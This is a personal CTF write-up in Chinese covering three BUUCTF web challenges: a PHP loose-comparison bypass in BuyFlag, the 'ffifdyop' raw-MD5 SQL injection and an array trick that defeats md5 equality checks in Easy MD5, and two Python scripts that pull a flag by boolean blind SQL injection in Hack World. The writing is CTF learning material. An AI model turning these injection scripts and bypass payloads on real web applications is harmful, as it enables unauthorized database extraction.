[极客大挑战 2019]BuyFlag 1
if (isset($_POST['password'])) { //isset函数,用于检测变量是否已设置并且非 NULL
$password = $_POST['password'];
if (is_numeric($password)) { //is_numeric() 函数用于检测变量是否为数字或数字字符串。
echo "password can't be number</br>";
}elseif ($password == 404) { //这里很明显,密码要求是404,但是根据前面的要求,可以判断出来必须要不是数字串,所以post输入404a
echo "Password Right!</br>";
}
}
这里GET改成POST后可以改变
Content-Type: application/x-www-form-urlencoded
Content-Length: 86
这个86是POST传参的内容长度
Origin:网站地址;
Referer: 网站地址/?pleaseget=1
这里提供一个做法,firefox的hackbar可以直接改post,于是可以先改了再使用bp抓包,这样可以防止有些值忘改或者改错导致失误
[BJDCTF2020]Easy MD5
看到hint之后明白要看md5
md5有个sql注入方式
那就是输入ffifdyop
得到新的页面
看到源代码了解到需要md5相等但值不一样
这里借鉴了一下这个(49条消息) md5相等及碰撞绕过_陈耿直丶的博客-CSDN博客_md5相同的两个字符串
<?php
error_reporting(0);
include "flag.php";
highlight_file(__FILE__);
if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
echo $flag;
}
这里依然可以了解到是md这种,我又查到另一种绕开md5 的方法,那就是利用数组
只要让param1[]=1,param2[]=2
md5不能加密数组,所以把加密成数组之后就可以绕过
总结,这次跟之前不一样
我的bp小蹦,没法改body,并且我也觉得很多时候上bp很麻烦
迫不得已开始用firefox,hackbar太香了我没话说
我现在就是hackbar单推人
lovesql还是babysql
殊途同归
殊途同归,这次算是复盘了,个人感觉换算熟练
[CISCN2019 华北赛区 Day2 Web1]Hack World
进行爆破,查看过滤
经过判断写一个脚本出来
import requests
s=requests.session()
flag = ''
for i in range(1,50):
for j in '-{abcdefghijklmnopqrstuvwxyz0123456789}':
url="http://ad5ed2b5-7482-4608-bdfb-6b5f5d8ac62f.node3.buuoj.cn/index.php"
sqls="if(ascii(substr((select(flag)from(flag)),{},1))=ascii('{}'),1,2)".format(i,j)
data={"id":sqls}
c = s.post(url,data=data,timeout=10)
if 'Hello' in c.text:
flag += j
print(flag)
break
这里利用(49条消息) BUUCTF WEB [CISCN2019 华北赛区 Day2 Web1]Hack World_A_dmin的博客-CSDN博客
觉得他的脚本比较完整
import requests
import base64
import sys
import string
import hashlib
import io
import time
sys.stdout = io.TextIOWrapper(sys.stdout.buffer,encoding='utf-8') #改变标准输出的默认编码,否则s.text不能输出
x = string.printable
flag = ""
url = "http://56039d8e-d2a3-4fc1-8195-3e18f2c1ea8c.node3.buuoj.cn/index.php"
payload={
"id" : ""
}
for i in range(0,60):
for j in x:
payload["id"] = "1=(ascii(substr((select(flag)from(flag)),%s,1))=%s)=1"%(str(i),ord(j))
s = requests.post(url,data=payload)
#print(s.text)
if "Hello" in s.text:
flag += j
print(flag)
break
print(flag)